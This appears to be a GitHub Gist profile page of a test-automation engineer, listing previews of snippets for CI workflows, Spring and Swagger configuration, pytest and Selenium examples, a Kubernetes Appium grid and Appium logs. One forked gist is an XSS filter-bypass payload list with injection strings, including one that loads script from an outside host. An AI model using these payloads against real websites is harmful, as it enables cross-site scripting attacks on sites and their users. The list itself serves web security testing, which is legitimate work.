Skip to content

Instantly share code, notes, and snippets.

View prashanth-sams's full-sized avatar
🍎
Each day is interesting!!!

Prashanth Sams prashanth-sams

🍎
Each day is interesting!!!
View GitHub Profile
@prashanth-sams
prashanth-sams / app.yaml
Created November 5, 2021 14:41 — forked from alukach/app.yaml
An example Github Actions for Python + Pipenv + Postgres + Pyright
# .github/workflows/app.yaml
name: My Python Project
on: push
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 10
services:
@prashanth-sams
prashanth-sams / xxsfilterbypass.lst
Created July 10, 2021 09:21 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
package com.wmock.info.controllers;
import com.wmock.info.models.ChapterInfoModel;
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping(value = "/api/chapter", produces = "application/json")
public class ChapterInfoController {
@prashanth-sams
prashanth-sams / SwaggerConfig.java
Last active July 3, 2021 12:38
Swagger 2 Configuration
package com.wmock.info.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import springfox.documentation.builders.PathSelectors;
import springfox.documentation.builders.RequestHandlerSelectors;
import springfox.documentation.spi.DocumentationType;
import springfox.documentation.spring.web.plugins.Docket;
import springfox.documentation.swagger2.annotations.EnableSwagger2;
@prashanth-sams
prashanth-sams / test_selenium.py
Last active October 9, 2024 03:11
Screenshot Example | pytest-html-reporter
from selenium import webdriver
import unittest
from pytest_html_reporter import attach
class TestClass(unittest.TestCase):
def __init__(self, driver):
super().__init__(driver)
def setUp(self):
global driver
@prashanth-sams
prashanth-sams / appium_selenium_grid.yml
Last active July 19, 2020 10:38
Appium Selenium Grid
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: android
namespace: selenium
labels:
app: selenium
environment: stg
role: qa
service: selenium
@prashanth-sams
prashanth-sams / incrementor.py
Created July 4, 2020 08:32
Python snippets
class TestClass:
i = 0
@classmethod
def values(cls):
for k in range(5):
print(cls.incrementor())
@classmethod
def incrementor(cls):
class TestData():
def test_foo(self):
for value in TestData.simpleGeneratorFun():
print(value)
assert 1 == value
def simpleGeneratorFun():
yield 1
yield 2
import pytest
@pytest.fixture(autouse=True)
def data():
assert False
class TestData():
def test_foo(self):
assert 'prasha' in "prashanth"
@prashanth-sams
prashanth-sams / crashReport.txt
Created June 28, 2020 14:25
Appium server logs
[info] [Appium] Welcome to Appium v1.17.1
[info] [Appium] Non-default server args:
[info] [Appium] allowInsecure: {
[info] [Appium] }
[info] [Appium] denyInsecure: {
[info] [Appium] }
[info] [Appium] Appium REST http interface listener started on 0.0.0.0:4723[info] [HTTP] --> POST /wd/hub/session
[info] [HTTP] {"capabilities":{"firstMatch":[{"platformName":"Android","appium:platformVersion":"","appium:deviceName":"PF","appium:app":"/Users/prashanth/Projects/apps/app-staging-debug.apk","appium:noReset":false}]},"desiredCapabilities":{"platformName":"Android","platformVersion":"","deviceName":"PF","app":"/Users/prashanth/Projects/apps/app-staging-debug.apk","noReset":false}}
[debug] [W3C] Calling AppiumDriver.createSession() with args: [{"platformName":"Android","platformVersion":"","deviceName":"PF","app":"/Users/prashanth/Projects/apps/app-staging-debug.apk","noRe